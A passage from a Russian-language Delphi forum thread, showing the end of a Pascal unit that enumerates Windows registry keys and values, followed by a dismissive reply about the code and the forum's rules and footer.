  if RegOpenKeyEx(RootKey, PChar(Name), 0, KEY_READ, hTemp) = ERROR_SUCCESS then 
  begin 
    Result := True; 
    BufSize := 1024; 
    GetMem(buf, BufSize); 
    i := 0; 
    iRes := ERROR_SUCCESS; 
    while iRes = ERROR_SUCCESS do 
    begin 
      BufSize := 1024; 
      if DoKeys then 
        iRes := RegEnumKeyEx(hTemp, i, buf, BufSize, nil, nil, nil, nil) 
      else 
        iRes := RegEnumValue(hTemp, i, buf, BufSize, nil, nil, nil, nil); 
      if iRes = ERROR_SUCCESS then 
      begin 
        SetLength(s, BufSize); 
        CopyMemory(@s[1], buf, BufSize); 
        if ResultList = '' then 
          ResultList := s 
        else 
          ResultList := Concat(ResultList, #13#10, s); 
        inc(i); 
      end; 
    end; 
    FreeMem(buf); 
    RegCloseKey(hTemp); 
  end; 
end; 

function RegEnumValues(RootKey: HKEY; Name: String; var ValueList: String): boolean; 
begin 
  Result := RegEnum(RootKey, Name, ValueList, False); 
end; 

function RegEnumKeys(RootKey: HKEY; Name: String; var KeyList: String): boolean; 
begin 
  Result := RegEnum(RootKey, Name, KeyList, True); 
end; 

end.
 
PM MAIL   Вверх
Palladin
Дата 17.7.2006, 19:02 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: 3
Всего: 17



Флоппи ты что здурелsmile))))))))))) Я б такой код никогда в жизни не применил бы в проге, даже если бы CTRL+C   CTRL+V делал откуданить, а если самому писать такой, дак это ж вообще...... 


--------------------
Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]
PM MAIL   Вверх
Страницы: (3) Все 1 [2] 3 
Закрытая темаСоздание новой темы Создание опроса
Правила форума "Delphi: Общие вопросы"
SnowyMetalFan
bemsPoseidon
Rrader

Запрещается!

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делиться вскрытыми компонентами

  • Литературу по Дельфи обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • 90% ответов на свои вопросы можно найти в DRKB (Delphi Russian Knowledge Base) - крупнейшем в рунете сборнике материалов по Дельфи


Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Snowy, MetalFan, bems, Poseidon, Rrader.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Delphi: Общие вопросы | Следующая тема »


 




[ Время генерации скрипта: 0.0608 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.